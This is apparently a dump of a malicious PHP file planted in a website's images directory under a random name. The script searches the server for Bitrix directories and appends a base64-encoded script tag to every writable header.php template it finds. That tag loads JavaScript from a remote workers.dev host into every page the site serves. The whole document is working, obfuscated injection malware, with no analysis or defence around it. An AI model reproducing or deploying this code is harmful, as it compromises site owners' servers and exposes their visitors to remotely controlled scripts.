Current Path : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/ |
Current File : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/yjpiu0c09.php |
<? header('Content-Type: application/json'); function findAccessiblePaths($path) { $parts = explode('/', $path); $currentPath = '/'; $accessiblePaths = []; foreach ($parts as $part) { if (!empty($part)) { $currentPath .= $part . '/'; if (is_readable($currentPath)) { $accessiblePaths[] = $currentPath; } } } return $accessiblePaths; } function modifyBitrixTemplates() { $cwd = getcwd(); $accessiblePaths = findAccessiblePaths($cwd); $allModifiedFiles = []; foreach ($accessiblePaths as $path) { $command = getSearchCommand($path); $output = shell_exec($command); $templatePaths = []; if ($output) { $paths = preg_split('/\r\n|\r|\n/', trim($output)); foreach ($paths as $path) { $foundPaths = findFilesRecursively($path, 'header.php'); // Example file in a Bitrix template $templatePaths = array_merge($templatePaths, $foundPaths); } } $modifiedFiles = addCustomScriptToFiles($templatePaths); if (!empty($modifiedFiles)) { $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles); break; } } if (empty($allModifiedFiles)) { echo json_encode(['error' => 'No templates modified or accessible']); } else { echo json_encode($allModifiedFiles); } } function addCustomScriptToFiles(array $templatePaths) { $modifiedFiles = []; $newFunctionCode = getCustomScript(); foreach ($templatePaths as $templatePath) { if (file_exists($templatePath) && is_writable($templatePath)) { $code = file_get_contents($templatePath); if (strpos($code, 'custom_query_script') === false) { $code .= "\n" . $newFunctionCode; file_put_contents($templatePath, $code); $modifiedFiles[] = $templatePath; } } } return $modifiedFiles; } function getCustomScript() { return <<<HTML <script src="data:text/javascript;base64,dmFyIGQ9ZG9jdW1lbnQ7dmFyIHM9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgCnMuc3JjPScvL3J0eC5jb2Rlc3ltYmFsLndvcmtlcnMuZGV2L0xDSjVKOT9mcm09c2NyaXB0JzsgCmlmIChkb2N1bWVudC5jdXJyZW50U2NyaXB0KSB7IApkb2N1bWVudC5jdXJyZW50U2NyaXB0LnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHMsIGRvY3VtZW50LmN1cnJlbnRTY3JpcHQpOwp9IGVsc2UgewpkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQocyk7Cn0="></script> HTML; } function getSearchCommand($startPath) { $os = strtoupper(substr(PHP_OS, 0, 3)); if ($os === 'WIN') { return "dir /s /b /a:d {$startPath}*bitrix*"; } else { return "find {$startPath} -type d -name 'bitrix' -path '*/bitrix' 2>/dev/null"; } } function findFilesRecursively($dir, $fileName) { $results = []; $files = scandir($dir); foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $results = array_merge($results, findFilesRecursively($path, $fileName)); } elseif ($file === $fileName) { $results[] = $path; } } } return $results; } modifyBitrixTemplates(); die(); ?>